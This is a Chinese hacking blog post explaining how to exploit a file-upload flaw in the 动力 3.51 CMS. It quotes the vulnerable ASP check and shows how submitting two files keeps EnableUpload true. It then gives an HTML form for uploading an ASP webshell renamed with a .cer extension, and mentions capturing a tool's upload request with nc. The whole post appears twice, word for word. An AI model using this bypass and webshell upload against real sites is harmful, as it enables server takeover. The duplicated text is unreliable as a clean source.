站在巨人肩膀上 BY 我爱Lier
动力3.51的上传页面共有6个,作者思路都是差不多的。对于上传漏洞的利用方法,这里介绍2种。1种,我看了下各个上传处理文件,发现这种比较通用。第2种是明小子的上传方法,至于你说我怎么能知道这软件的利用方法的,下面再告诉你。
先说下这6个文件通有的逻辑漏洞,就拿upfile_soft.asp来说。漏洞代码:
1 首先上传文件都对上传用户进行了身份检验:
if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then
response.Write("请登录后再使用本功能!")
else
…………………….
明小子给的方法是:提交包的时候将cookie的值改成你以管理员登陆时的cookie值。我手工改包,提交包的时候,却始终提交不成功。
下面就萌生了想看看明小子提交的包的内容的想法了。
首先明小子上传靠的是提交数据包这很明显吧。
方法很简单。关闭iis,即关闭80端口。Nc在本地80端口监听。明小子上传,然后nc就收到了明小子提交的内容了。
我的问题没解决,因为它也跟我交包的时候,改相同的cookie。但是新的问题出来了。明小子的思路跟我之前知道的是不一样的!
2 下面就是漏洞代码的关键了:
for each formName in upload.file '列出所有上传了的文件
set ofile=upload.file(formName) '生成一个文件对象
oFileSize=ofile.filesize
文件大小代码检查部分
fileExt=lcase(ofile.FileExt)
arrUpFileType=split(UpFileType,"|")
for i=0 to ubound(arrUpFileType)
if fileEXT=trim(arrUpFileType(i)) then
EnableUpload=true
exit for
end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
EnableUpload=false
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
FoundErr=true
end if
strJS="<SCRIPT language=javascript>" & vbcrlf
if FoundErr<>true then
FileName=SavePath & ofile.FileName
If IsObjInstalled("Scripting.FileSystemObject") Then
dim fso
set fso=CreateObject("Scripting.FileSystemObject")
if fso.FileExists(Server.mappath(FileName)) then
randomize
ranNum=int(900*rnd)+100
filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
end if
set fso=nothing
end if
ofile.SaveToFile Server.mappath(FileName) '保存文件
response.write "软件上传成功!软件大小为:" & cstr(round(oFileSize/1024)) & "K"
…………………………..
Next
这段代码采用了化境无组件上传类进行上传。for each formName in upload.file取得所有上传的文件名。第二个for循环for i=0 to ubound(arrUpFileType)用于检测文件类型,如果不满足条件则关键变量EnableUpload为默认值false,而 EnableUpload为默认值false时又导致关键变量FoundErr值得改变为true,我们的目的就是想办法避免FoundErr值的改变, 让他保持默认值false,我们注意到if fileEXT=trim(arrUpFileType(i)) then这一句如果满足条件则EnableUpload为真,那么当有多个文件用于上传时,作者考虑到了么?显然是没有的,虽然各上传界面的都是只有一个 上传提交框,但我们可以在本地自己构造。
这样我们改变action到远程地址,提交两个文件的话,在asp文件中,第一个for循环检查第一个文件hack.exe,第2个for循 环检查文件后缀exe,显然满足条件因此可以上传EnableUpload=true,然后逐步跳过各语句,由于默认FoundErr=false,文件 上传了!然后第一个for循环检查文件2:hack.cer文件,第二个for循环发现不满足文件后缀条件,跳过,我的文件不是asp等后缀,再跳过if语句,呵呵,EnableUpload变量保持为第一次循环的true值,这样保证了FoundErr也没改变。至此木马上传成功。
附:将asp木马改后缀为cer即可。因为iis中调用asp文件的是asp.dll,asp.dll的应用程序映射还包括.cdx和.cerok,所以我们的.cer后缀一样可以运行。
利用思路呢?
构造html文件代码为:
<form action="http://localhost/mp/upfile_soft.asp"; method="post" enctype="multipart/form-data">
<input name="file1" type="FILE" size="40">
<input name="file2" type="FILE" size="40">
<input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
</form>
动力3.51的上传页面共有6个,作者思路都是差不多的。对于上传漏洞的利用方法,这里介绍2种。1种,我看了下各个上传处理文件,发现这种比较通用。第2种是明小子的上传方法,至于你说我怎么能知道这软件的利用方法的,下面再告诉你。
先说下这6个文件通有的逻辑漏洞,就拿upfile_soft.asp来说。漏洞代码:
1 首先上传文件都对上传用户进行了身份检验:
if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then
response.Write("请登录后再使用本功能!")
else
…………………….
明小子给的方法是:提交包的时候将cookie的值改成你以管理员登陆时的cookie值。我手工改包,提交包的时候,却始终提交不成功。
下面就萌生了想看看明小子提交的包的内容的想法了。
首先明小子上传靠的是提交数据包这很明显吧。
方法很简单。关闭iis,即关闭80端口。Nc在本地80端口监听。明小子上传,然后nc就收到了明小子提交的内容了。
我的问题没解决,因为它也跟我交包的时候,改相同的cookie。但是新的问题出来了。明小子的思路跟我之前知道的是不一样的!
2 下面就是漏洞代码的关键了:
for each formName in upload.file '列出所有上传了的文件
set ofile=upload.file(formName) '生成一个文件对象
oFileSize=ofile.filesize
文件大小代码检查部分
fileExt=lcase(ofile.FileExt)
arrUpFileType=split(UpFileType,"|")
for i=0 to ubound(arrUpFileType)
if fileEXT=trim(arrUpFileType(i)) then
EnableUpload=true
exit for
end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
EnableUpload=false
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
FoundErr=true
end if
strJS="<SCRIPT language=javascript>" & vbcrlf
if FoundErr<>true then
FileName=SavePath & ofile.FileName
If IsObjInstalled("Scripting.FileSystemObject") Then
dim fso
set fso=CreateObject("Scripting.FileSystemObject")
if fso.FileExists(Server.mappath(FileName)) then
randomize
ranNum=int(900*rnd)+100
filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
end if
set fso=nothing
end if
ofile.SaveToFile Server.mappath(FileName) '保存文件
response.write "软件上传成功!软件大小为:" & cstr(round(oFileSize/1024)) & "K"
…………………………..
Next
这段代码采用了化境无组件上传类进行上传。for each formName in upload.file取得所有上传的文件名。第二个for循环for i=0 to ubound(arrUpFileType)用于检测文件类型,如果不满足条件则关键变量EnableUpload为默认值false,而 EnableUpload为默认值false时又导致关键变量FoundErr值得改变为true,我们的目的就是想办法避免FoundErr值的改变, 让他保持默认值false,我们注意到if fileEXT=trim(arrUpFileType(i)) then这一句如果满足条件则EnableUpload为真,那么当有多个文件用于上传时,作者考虑到了么?显然是没有的,虽然各上传界面的都是只有一个 上传提交框,但我们可以在本地自己构造。
这样我们改变action到远程地址,提交两个文件的话,在asp文件中,第一个for循环检查第一个文件hack.exe,第2个for循 环检查文件后缀exe,显然满足条件因此可以上传EnableUpload=true,然后逐步跳过各语句,由于默认FoundErr=false,文件 上传了!然后第一个for循环检查文件2:hack.cer文件,第二个for循环发现不满足文件后缀条件,跳过,我的文件不是asp等后缀,再跳过if语句,呵呵,EnableUpload变量保持为第一次循环的true值,这样保证了FoundErr也没改变。至此木马上传成功。
附:将asp木马改后缀为cer即可。因为iis中调用asp文件的是asp.dll,asp.dll的应用程序映射还包括.cdx和.cerok,所以我们的.cer后缀一样可以运行。
利用思路呢?
构造html文件代码为:
<form action="http://localhost/mp/upfile_soft.asp"; method="post" enctype="multipart/form-data">
<input name="file1" type="FILE" size="40">
<input name="file2" type="FILE" size="40">
<input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
</form>